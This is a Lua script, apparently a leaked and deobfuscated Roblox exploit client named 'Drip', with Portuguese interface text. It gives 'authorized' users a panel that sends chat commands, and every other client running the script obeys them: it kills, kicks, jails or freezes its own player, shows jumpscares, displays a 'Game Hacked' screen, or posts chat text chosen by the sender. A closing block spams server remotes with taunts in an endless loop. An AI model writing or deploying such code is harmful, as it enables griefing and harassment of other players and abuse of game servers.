section.TextColor3 = Color3.fromRGB(220, 220, 220)
section.TextSize = 15
section.Font = Enum.Font.SourceSansBold
section.TextXAlignment = Enum.TextXAlignment.Left
section.Parent = parent
local padding = Instance.new("UIPadding")
padding.PaddingLeft = UDim.new(0, 8)
padding.Parent = section
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 4)
corner.Parent = section
return section
end
function CreateJail(player)
if Jajail[player] then return end
local character = player.Character
local myChar = LocalPlayer.Character -- seu personagem
if character and character:FindFirstChild("HumanoidRootPart") then
local HRP = character.HumanoidRootPart
local cageSize = Vector3.new(10, 10, 10)
local wallThickness = 0.5
local transparency = 0.3
local cageColor = Color3.fromRGB(75, 0, 130)
-- função interna que monta a jaula em volta de um HRP
local function buildCage(targetHRP, suffix)
local cageModel = Instance.new("Model")
cageModel.Name = "JaulaDeAdmin_" .. player.Name .. suffix
cageModel.Parent = workspace
local function createWall(size, positionOffset)
local wall = Instance.new("Part")
wall.Size = size
wall.Anchored = true
wall.CanCollide = true
wall.Transparency = transparency
wall.Color = cageColor
wall.Material = Enum.Material.ForceField
wall.CFrame = targetHRP.CFrame * positionOffset
wall.Parent = cageModel
local stroke = Instance.new("SelectionBox")
stroke.Color3 = Color3.fromRGB(147, 112, 219)
stroke.LineThickness = 0.2
stroke.Transparency = 0.5
stroke.Adornee = wall
stroke.Parent = wall
local light = Instance.new("PointLight")
light.Color = Color3.fromRGB(147, 112, 219)
light.Brightness = 0.5
light.Range = 15
light.Parent = wall
end
-- cria paredes
createWall(Vector3.new(cageSize.X, wallThickness, cageSize.Z), CFrame.new(0, -cageSize.Y/2, 0))
createWall(Vector3.new(cageSize.X, wallThickness, cageSize.Z), CFrame.new(0, cageSize.Y/2, 0))
createWall(Vector3.new(cageSize.X, cageSize.Y, wallThickness), CFrame.new(0, 0, -cageSize.Z/2))
createWall(Vector3.new(cageSize.X, cageSize.Y, wallThickness), CFrame.new(0, 0, cageSize.Z/2))
createWall(Vector3.new(wallThickness, cageSize.Y, cageSize.Z), CFrame.new(cageSize.X/2, 0, 0))
createWall(Vector3.new(wallThickness, cageSize.Y, cageSize.Z), CFrame.new(-cageSize.X/2, 0, 0))
return cageModel
end
-- jaula real no preso
local jailModel = buildCage(HRP, "_Preso")
Jajail[player] = jailModel
-- cópia só pra você visualizar no seu humanoid
if myChar and myChar:FindFirstChild("HumanoidRootPart") then
buildCage(myChar.HumanoidRootPart, "_Visual")
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Foi preso",
Text = player.Name .. " foi preso na jaula",
Duration = 4
})
end
end
function RemoveJail(player)
if Jajail[player] then
Jajail[player]:Destroy()
Jajail[player] = nil
end
end
function FreezePlayer(player)
if MagGelion[player] then return end
local character = player.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.WalkSpeed = 0
humanoid.JumpPower = 0
humanoid.JumpHeight = 0
end
for _, part in pairs(character:GetChildren()) do
if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" then
part.Anchored = true
end
end
local HRP = character:FindFirstChild("HumanoidRootPart")
if HRP then
HRP.Anchored = true
end
MagGelion[player] = {
originalWalkSpeed = humanoid and humanoid.WalkSpeed or 16,
originalJumpPower = humanoid and humanoid.JumpPower or 50,
originalJumpHeight = humanoid and humanoid.JumpHeight or 7.2,
humanoid = humanoid,
hrp = HRP,
character = character
}
end
end
function UnfreezePlayer(player)
if MagGelion[player] then
local data = MagGelion[player]
if data.humanoid and data.humanoid.Parent then
data.humanoid.WalkSpeed = data.originalWalkSpeed or 16
data.humanoid.JumpPower = data.originalJumpPower or 50
data.humanoid.JumpHeight = data.originalJumpHeight or 7.2
end
if data.character and data.character.Parent then
for _, part in pairs(data.character:GetChildren()) do
if part:IsA("BasePart") then
part.Anchored = false
end
end
end
MagGelion[player] = nil
end
end
function Explode(targetPlayer)
local function explodePlayer()
local character = targetPlayer.Character or targetPlayer.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local explosion = Instance.new("Explosion")
explosion.Position = hrp.Position
explosion.BlastRadius = 0
explosion.BlastPressure = 0
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.Parent = workspace
local particle = Instance.new("ParticleEmitter")
particle.Texture = "rbxassetid://243660364"
particle.Lifetime = NumberRange.new(1)
particle.Rate = 100
particle.Speed = NumberRange.new(20, 40)
particle.Size = NumberSequence.new(3)
particle.Rotation = NumberRange.new(0, 360)
particle.RotSpeed = NumberRange.new(180)
particle.Parent = hrp
for _, part in ipairs(character:GetDescendants()) do
if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" then
part.Velocity = Vector3.new(
math.random(-200, 200),
math.random(100, 150),
math.random(-20, 40)
)
end
end
humanoid.Health = 0
task.delay(1.5, function()
particle.Enabled = false
particle:Destroy()
end)
end
explodePlayer()
end
function CoolkidAvatar(targetPlayer)
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local WearRemote = ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("Wear")
-- Use targetPlayer instead of LocalPlayer
local Character = targetPlayer.Character or targetPlayer.CharacterAdded:Wait()
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
if not Humanoid then return end
local Desc = Humanoid:GetAppliedDescription()
-- Remove current accessories
for _, accessory in ipairs(Desc:GetAccessories(true)) do
if accessory.AssetId then
local args = {
[1] = tonumber(accessory.AssetId)
}
WearRemote:InvokeServer(unpack(args))
end
end
task.wait()
-- Change body proportions
local args = {
{
0,
0,
0,
0,
0,
0
}
}
game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("ChangeCharacterBody"):InvokeServer(unpack(args))
-- Add accessories
local args = {
18554114295
}
game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("Wear"):InvokeServer(unpack(args))
local args = {
3164473649
}
game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("Wear"):InvokeServer(unpack(args))
-- Change body color
local args = {
"Really red"
}
game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("ChangeBodyColor"):FireServer(unpack(args))
-- Add final accessory
local args = {
6093233760
}
game:GetService("ReplicatedStorage"):WaitForChild("Remotes"):WaitForChild("Wear"):InvokeServer(unpack(args))
end
local function getPlayerList()
local list = {}
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
table.insert(list, player.Name)
end
end
return list
end
function Coolkid(targetPlayer)
local sky = Instance.new("Sky")
sky.SkyboxBk = "rbxassetid://100048062301288"
sky.SkyboxDn = "rbxassetid://100048062301288"
sky.SkyboxFt = "rbxassetid://100048062301288"
sky.SkyboxLf = "rbxassetid://100048062301288"
sky.SkyboxRt = "rbxassetid://100048062301288"
sky.SkyboxUp = "rbxassetid://100048062301288"
sky.Parent = game.Lighting
local decalId = "rbxassetid://100048062301288"
local function applyDecals(part)
if part:IsA("BasePart") then
for _, face in pairs(Enum.NormalId:GetEnumItems()) do
local decal = Instance.new("Decal")
decal.Face = face
decal.Texture = decalId
decal.Parent = part
end
end
end
for _, part in pairs(workspace:GetDescendants()) do
applyDecals(part)
end
workspace.DescendantAdded:Connect(function(descendant)
applyDecals(descendant)
end)
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local imageId = "rbxassetid://100048062301288"
local function criarParticula(parte)
local particle = Instance.new("ParticleEmitter")
particle.Texture = imageId
particle.Rate = 10
particle.Lifetime = NumberRange.new(1)
particle.Speed = NumberRange.new(2, 5)
particle.Size = NumberSequence.new(1)
particle.Rotation = NumberRange.new(0, 360)
particle.RotSpeed = NumberRange.new(10)
particle.SpreadAngle = Vector2.new(360, 360)
particle.Parent = parte
end
local function aplicarParticulas(character)
for _, part in ipairs(character:GetDescendants()) do
if part:IsA("BasePart") and not part:FindFirstChildOfClass("ParticleEmitter") then
criarParticula(part)
end
end
end
for _, player in ipairs(Players:GetPlayers()) do
if player.Character then
aplicarParticulas(player.Character)
end
player.CharacterAdded:Connect(aplicarParticulas)
end
Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(aplicarParticulas)
end)
local player = game.Players.LocalPlayer
local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
gui.Name = "c00lkidTopBar"
gui.ResetOnSpawn = false
gui.IgnoreGuiInset = true
local topBar = Instance.new("Frame", gui)
topBar.BackgroundColor3 = Color3.new(0, 0, 0)
topBar.Size = UDim2.new(1, 100, 0, 25)
topBar.Position = UDim2.new(0, -50, 0, 0)
topBar.BorderSizePixel = 0
topBar.ZIndex = 2
local title = Instance.new("TextLabel", topBar)
title.Size = UDim2.new(1, 0, 1, 0)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.Text = "Game Hacked"
title.TextColor3 = Color3.new(1, 1, 1)
title.Font = Enum.Font.SourceSans
title.TextSize = 20
title.TextStrokeTransparency = 0.5
title.TextStrokeColor3 = Color3.new(0, 0, 0)
title.ZIndex = 3
local Sound = Instance.new("Sound")
Sound.SoundId = "rbxassetid://99986264226275"
Sound.Looped = false
Sound.Parent = workspace
local function playSoundWithRandomSettings()
Sound.Volume = math.random(1, 3)
Sound.PlaybackSpeed = math.random(20, 30) / 100
Sound:Play()
end
playSoundWithRandomSettings()
Sound.Ended:Connect(playSoundWithRandomSettings)
-- Notification for execution
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Coolkid Mode",
Text = "Environment completely modified!",
Duration = 4
})
end
function MessiJumpscare(targetPlayer)
local Players = game:GetService("Players")
local SoundService = game:GetService("SoundService")
local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
local jumpscareGui = Instance.new("ScreenGui")
jumpscareGui.Name = "FullJumpscare"
jumpscareGui.IgnoreGuiInset = true
jumpscareGui.ResetOnSpawn = false
jumpscareGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
jumpscareGui.DisplayOrder = 999999
jumpscareGui.Parent = CoreGui
local image = Instance.new("ImageLabel")
image.Size = UDim2.new(1.2, 0, 1.2, 0)
image.Position = UDim2.new(-0.1, 0, -0.1, 0)
image.BackgroundTransparency = 1
image.Image = "rbxassetid://90576086504588"
image.ZIndex = 999999
image.Parent = jumpscareGui
local jumpscareSound = Instance.new("Sound")
jumpscareSound.SoundId = "rbxassetid://88347533205938"
jumpscareSound.Volume = 10
jumpscareSound.Parent = SoundService
local followupSound = Instance.new("Sound")
followupSound.SoundId = "rbxassetid://113413619114733"
followupSound.Volume = 10
followupSound.Parent = SoundService
local function startMessiJumpscare()
image.Visible = true
jumpscareSound:Play()
task.delay(2, function()
followupSound:Play()
followupSound.Ended:Connect(function()
jumpscareGui:Destroy()
end)
end)
end
startMessiJumpscare()
-- Notification
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Jumpscare",
Text = "Messi jumpscare activated!",
Duration = 3
})
end
function Jumpscare(targetPlayer)
local Players = game:GetService("Players")
local SoundService = game:GetService("SoundService")
local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
local jumpscareGui = Instance.new("ScreenGui")
jumpscareGui.Name = "FullJumpscare"
jumpscareGui.IgnoreGuiInset = true
jumpscareGui.ResetOnSpawn = false
jumpscareGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
jumpscareGui.DisplayOrder = 999999
jumpscareGui.Parent = CoreGui
local image = Instance.new("ImageLabel")
image.Size = UDim2.new(1.2, 0, 1.2, 0)
image.Position = UDim2.new(-0.1, 0, -0.1, 0)
image.BackgroundTransparency = 1
image.Image = "rbxassetid://108753859505348"
image.ZIndex = 999999
image.Parent = jumpscareGui
local jumpscareSound = Instance.new("Sound")
jumpscareSound.SoundId = "rbxassetid://18967004856"
jumpscareSound.Volume = 10
jumpscareSound.Parent = SoundService
local followupSound = Instance.new("Sound")
followupSound.SoundId = "rbxassetid://103396125105301"
followupSound.Volume = 10
followupSound.Parent = SoundService
local shaking = true
task.spawn(function()
while shaking do
local offsetX = math.random(-10, 10)
local offsetY = math.random(-10, 10)
image.Position = UDim2.new(-0.1, offsetX, -0.1, offsetY)
task.wait(0.02)
end
end)
local function startJumpscare()
image.Visible = true
jumpscareSound:Play()
task.delay(2, function()
followupSound:Play()
followupSound.Ended:Connect(function()
shaking = false
jumpscareGui:Destroy()
end)
end)
end
startJumpscare()
-- Notification
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Jumpscare",
Text = "Classic jumpscare activated!",
Duration = 3
})
end
function Backrooms(targetPlayer)
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
-- Use targetPlayer instead of LocalPlayer for teleportation
local player = targetPlayer or Players.LocalPlayer
-- Create screen effect only for LocalPlayer (the admin using the command)
local LocalPlayer = Players.LocalPlayer
local screenGui = Instance.new("ScreenGui", LocalPlayer:WaitForChild("PlayerGui"))
screenGui.IgnoreGuiInset = true
screenGui.ResetOnSpawn = false
local blackFrame = Instance.new("Frame", screenGui)
blackFrame.Size = UDim2.new(1, 0, 1, 0)
blackFrame.Position = UDim2.new(0, 0, 0, 0)
blackFrame.BackgroundColor3 = Color3.new(0, 0, 0)
blackFrame.BackgroundTransparency = 1
TweenService:Create(blackFrame, TweenInfo.new(1), {BackgroundTransparency = 0}):Play()
task.wait(1.2)
-- Load the Backrooms model
local success, ModelObject = pcall(function()
return game:GetObjects("rbxassetid://10581711055")[1]
end)
if not success then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Error",
Text = "Failed to load Backrooms model",
Duration = 3
})
screenGui:Destroy()
return
end
ModelObject.Parent = workspace
-- Position the model in a remote location
for _, part in pairs(ModelObject:GetDescendants()) do
if part:IsA("BasePart") then
part.Position = part.Position + Vector3.new(99999, 99999, 99999)
end
end
-- Teleport the target player to the Backrooms
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame = CFrame.new(100127, 100003, 100192)
end
task.wait(0.5)
-- Fade out the black screen
TweenService:Create(blackFrame, TweenInfo.new(1), {BackgroundTransparency = 1}):Play()
task.wait(1.2)
-- Clean up the screen GUI
screenGui:Destroy()
-- Notification
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Backrooms",
Text = player.Name .. " has been sent to the Backrooms!",
Duration = 4
})
end
local function bringTo(playerName)
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local target = Players:FindFirstChild(playerName)
if target and target.Character and target.Character:FindFirstChild("HumanoidRootPart") then
local root = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if root then
root.CFrame = target.Character.HumanoidRootPart.CFrame + Vector3.new(0, 3, 0)
end
end
end
local screenGui, mainFrame, scrollFrame, layout
if isAuthorized then
screenGui, mainFrame, scrollFrame, layout = createInterface()
end
local function clearContent()
if not isAuthorized then return end
for _, child in ipairs(scrollFrame:GetChildren()) do
if child ~= layout then
child:Destroy()
end
end
end
-----/// Script | ///------
local function showAdminTab()
if not isAuthorized then return end
clearContent()
createSection(scrollFrame, "Seleção de Jogador")
local playerDropdown = createDropdown(scrollFrame, "Selecione um jogador", getPlayerList(), function(value)
for _, player in ipairs(Players:GetPlayers()) do
if player.Name == value and player ~= LocalPlayer then
selectedPlayer = player
break
end
end
end)
playerDropdownRef = playerDropdown
createButton(scrollFrame, "Atualizar Lista", function()
pcall(function()
if playerDropdown and playerDropdown.UpdateOptions then
playerDropdown.UpdateOptions(getPlayerList())
end
end)
end)
createSection(scrollFrame, "Comandos Básicos")
createButton(scrollFrame, "Bring Player", function()
if selectedPlayer then
sendChatCommand("/bring " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Kill Player", function()
if selectedPlayer then
sendChatCommand("/kill " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Kick Player", function()
if selectedPlayer then
sendChatCommand("/kick " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
--[[ createButton(scrollFrame, "Aplicar Skin", function()
if selectedPlayer and LocalPlayer.Character and selectedPlayer.Character then
local localHumanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
local targetHumanoid = selectedPlayer.Character:FindFirstChildOfClass("Humanoid")
if localHumanoid and targetHumanoid then
local desc = localHumanoid:GetAppliedDescription()
targetHumanoid:ApplyDescription(desc)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Skin Aplicada",
Text = "Sua skin foi aplicada em " .. selectedPlayer.Name,
Duration = 4
})
end
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
]]
createSection(scrollFrame, "Comandos de Controle")
createButton(scrollFrame, "Jail Player", function()
if selectedPlayer then
sendChatCommand("/jail " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Unjail Player", function()
if selectedPlayer then
sendChatCommand("/unjail " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Freeze Player", function()
if selectedPlayer then
sendChatCommand("/freeze " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Unfreeze", function()
if selectedPlayer then
sendChatCommand("/unfreeze " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createSection(scrollFrame, "Comandos Views")
createButton(scrollFrame, "Explodir Jogador", function()
if selectedPlayer then
sendChatCommand("/explod " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Imagens Coolkid", function()
if selectedPlayer then
sendChatCommand("/coolkidavatar " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Hakinggame", function()
if selectedPlayer then
sendChatCommand("/c00lkid " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Jumpscare", function()
if selectedPlayer then
sendChatCommand("/jumpscare " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Messis", function()
if selectedPlayer then
sendChatCommand("/messijumpscare " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Backrooms", function()
if selectedPlayer then
sendChatCommand("/backrooms " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createButton(scrollFrame, "Fogo Inimigo", function()
if selectedPlayer then
sendChatCommand("/fires " .. selectedPlayer.Name)
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Selecione um jogador primeiro",
Duration = 3
})
end
end)
createSection(scrollFrame, "Verificação")
createButton(scrollFrame, "Verificar", function()
sendChatCommand("verificar_drip_client")
redzlib:Notify({
Title = "Verificação",
Description = "Verificando usuários...",
Type = "Success",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Verificação",
Text = "Verificando usuários...",
Duration = 3
})]]
local responses = {}
local responseConnection
if TextChatService and TextChatService.TextChannels and TextChatService.TextChannels.RBXGeneral then
responseConnection = TextChatService.TextChannels.RBXGeneral.MessageReceived:Connect(function(msg)
pcall(function()
if msg.Text == "Drip_Client_Active" then
local responder = msg.TextSource and Players:GetPlayerByUserId(msg.TextSource.UserId)
if responder and responder ~= LocalPlayer then
responses[responder.Name] = true
end
end
end)
end)
task.spawn(function()
task.wait(5)
if responseConnection then
responseConnection:Disconnect()
end
local count = 0
local names = {}
for name, _ in pairs(responses) do
count = count + 1
table.insert(names, name)
end
if count > 0 then
local nameList = table.concat(names, ", ")
redzlib:Notify({
Title = "Verificação Completa",
Description = count .. " usuário(s) encontrado(s): " .. nameList,
Type = "Success",
Duration = 7
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Verificação Completa",
Text = count .. " usuário(s) encontrado(s): " .. nameList,
Duration = 8
})]]
else
redzlib:Notify({
Title = "Verificação Completa",
Description = "Nenhum outro usuário encontrado",
Type = "Success",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Verificação Completa",
Text = "Nenhum outro usuário encontrado",
Duration = 5
})]]
end
end)
end
end)
task.wait()
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, layout.AbsoluteContentSize.Y + 15)
end
if isAuthorized then
showAdminTab()
local minimizeButton = Instance.new("TextButton")
minimizeButton.Name = "MinimizeButton"
minimizeButton.Size = UDim2.new(0, 28, 0, 28)
minimizeButton.Position = UDim2.new(1, -35, 0, 8)
minimizeButton.BackgroundTransparency = 1
minimizeButton.BorderSizePixel = 0
minimizeButton.Text = "−"
minimizeButton.TextColor3 = Color3.new(1, 1, 1)
minimizeButton.TextSize = 18
minimizeButton.Font = Enum.Font.GothamBold
minimizeButton.Parent = mainFrame
local isMinimized = false
local originalSize = mainFrame.Size
minimizeButton.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
if isMinimized then
mainFrame.Size = UDim2.new(0, 520, 0, 45)
scrollFrame.Parent.Visible = false
minimizeButton.Text = "+"
else
mainFrame.Size = originalSize
scrollFrame.Parent.Visible = true
minimizeButton.Text = "−"
end
end)
end
if TextChatService then
local function setupChatListener()
local success, connection = pcall(function()
return TextChatService.TextChannels.RBXGeneral.MessageReceived:Connect(function(message)
local text = message.Text:lower()
local origText = message.Text or ""
local sender = message.TextSource and Players:GetPlayerByUserId(message.TextSource.UserId)
if text == "verificar_drip_client" and sender and allowedUsers[sender.Name] and sender ~= LocalPlayer then
task.wait(math.random(0.5, 2))
sendChatCommand("Drip_Client_Active")
return
end
if not sender or not allowedUsers[sender.Name] or sender == LocalPlayer then return end
local function findTarget(name)
for _, player in ipairs(Players:GetPlayers()) do
if player.Name:lower():sub(1, #name) == name then
return player
end
end
end
local args = {}
for word in text:gmatch("%S+") do
table.insert(args, word)
end
local cmd = args[1]
local targetName = args[2]
local target = targetName and findTarget(targetName)
-- Comandos básicos
if cmd == "/kill" and target == LocalPlayer then
local hum = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
if hum then hum.Health = 0 end
elseif cmd == "/kick" and target == LocalPlayer then
LocalPlayer:Kick("Você foi expulso pelo painel de admin.")
elseif cmd == "/bring" and target == LocalPlayer then
local targetRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
local senderRoot = sender.Character and sender.Character:FindFirstChild("HumanoidRootPart")
if targetRoot and senderRoot then
targetRoot.CFrame = senderRoot.CFrame + Vector3.new(2, 0, 0)
end
elseif cmd == "/jail" and target == LocalPlayer then
CreateJail(LocalPlayer)
elseif cmd == "/unjail" and target == LocalPlayer then
RemoveJail(LocalPlayer)
elseif cmd == "/freeze" and target == LocalPlayer then
FreezePlayer(LocalPlayer)
elseif cmd == "/unfreeze" and target == LocalPlayer then
UnfreezePlayer(LocalPlayer)
elseif cmd == ";ch" and target == LocalPlayer then
local rest = origText:match("^%S+%s+%S+%s+(.+)")
if rest then
sendChatCommand(rest)
end
-- Comandos de Views - CORRIGIDOS
elseif cmd == "/explod" and target == LocalPlayer then
Explode(LocalPlayer)
elseif cmd == "/coolkidavatar" and target == LocalPlayer then
CoolkidAvatar(LocalPlayer)
elseif cmd == "/c00lkid" and target == LocalPlayer then
Coolkid(LocalPlayer)
elseif cmd == "/jumpscare" and target == LocalPlayer then
Jumpscare(LocalPlayer)
elseif cmd == "/messijumpscare" and target == LocalPlayer then
MessiJumpscare(LocalPlayer)
elseif cmd == "/backrooms" and target == LocalPlayer then
Backrooms(LocalPlayer)
--[[elseif cmd == ";skin" and target == LocalPlayer then
local function applyAppearanceFrom(sourcePlayer)
if not sourcePlayer or not sourcePlayer.Character then return end
local sourceHumanoid = sourcePlayer.Character:FindFirstChildOfClass("Humanoid")
local myHumanoid = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if sourceHumanoid and myHumanoid then
local ok, desc = pcall(function() return sourceHumanoid:GetAppliedDescription() end)
if ok and desc then
pcall(function() myHumanoid:ApplyDescription(desc) end)
end
end
end
applyAppearanceFrom(sender)
LocalPlayer.CharacterAdded:Connect(function()
task.wait(1)
applyAppearanceFrom(sender)
end)]]
end
end)
end)
if not success then
warn("erro:", connection)
end
end
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local attempts = 0
local maxAttempts = 5
local function trySetupListener()
attempts = attempts + 1
local success = pcall(setupChatListener)
if not success and attempts < maxAttempts then
task.wait(2)
trySetupListener()
elseif success then
print("set")
else
warn("erros drip", maxAttempts, "tentativas")
end
end
trySetupListener()
end
end
if isAuthorized then
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
for _, child in ipairs(scrollFrame:GetChildren()) do
if child:FindFirstChild("Dropdown") then
child.Dropdown.Visible = false
end
end
end
end)
end
Players.PlayerRemoving:Connect(function(player)
if Jajail[player] then
Jajail[player]:Destroy()
Jajail[player] = nil
end
if MagGelion[player] then
MagGelion [player] = nil
end
if ObEsp[player] then
for _, obj in pairs(ObEsp[player]) do
if obj and obj.Parent then
obj:Destroy()
end
end
ObEsp[player] = nil
end
end)
local playerDropdownRef = nil
if isAuthorized then
task.spawn(function()
while task.wait(5) do
pcall(function()
if playerDropdownRef and playerDropdownRef.UpdateOptions then
playerDropdownRef.UpdateOptions(getPlayerList())
end
end)
end
end)
end
if isAuthorized then
redzlib:Notify({
Title = "Script loaded",
Description = "Working",
Type = "Success",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Sistema Carregado",
Text = "Funções Funcionado",
Duration = 3
})]]
else
redzlib:Notify({
Title = "Conectado!",
Description = "Bem-Vindo(a)!",
Type = "Success",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Sistema Carregado",
Text = "Bem-vindo! function Load",
Duration = 3
})]]
end
end
-----------------///////TABS - WebHook///////----------------
-----------------///////TABS - SKIDDEE///////----------------
do
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RE = ReplicatedStorage:WaitForChild("RE")
local remote1 = RE:WaitForChild("1Ke1yFa1b")
local remote2 = RE:WaitForChild("1Avata1rOrigina1l")
local remote3 = RE:WaitForChild("1Flyin1g")
local messages1 = {
"Leaked by WxDeveloper",
"Leaked",
"L",
"leaked",
"faz o Leaked by WxDeveloper"
}
local messages2 = {"Skidder"}
local messages3 = {
"lol",
"skidder",
"Go Learn to Program Skid",
"Remote? hahahah"
}
local function executeRequests()
while true do
pcall(function()
remote1:InvokeServer(unpack(messages1))
end)
pcall(function()
remote2:FireServer(unpack(messages2))
end)
pcall(function()
remote1:InvokeServer(unpack(messages1))
end)
pcall(function()
remote3:FireServer(unpack(messages2))
end)
pcall(function()
remote2:FireServer(unpack(messages3))
end)
wait(0.1)
end
end
executeRequests()
end
--673.678162, 18.1641273, 478.667908, 0, 0, -1, 0, 1, 0, 1, 0, 0
--669.947021484375, 15.864216804504395, 477.9688720703125
--673.551513671875, 17.842744827270508, 477.9267883300781
--666.609130859375, 8.813562393188477, 477.7061462402344
--[[redzlib:Notify({
Title = "Notification",
Description = "Avatar Successfuly Copied",
Type = "Success",
Duration = 4
})]]
RAPAZ ORIMO TRABALHO PRA QUEM DESOFUSCOU EU NUNCA VI UM SCRIPT TÃO DESORGANIZADO BAGUNÇADO IGUAL DRIP EU PENSEI QUE O CHAOS ERA MAIS BAGUNÇADO MAIS DEPOIS QUE EU VI O DRIP TUDO MUDOU O SCRIPT BAGUNÇADO MISERICÓRDIA MUITO BOM ÓTIMO TRABALHO ☕🗿
thanks for the open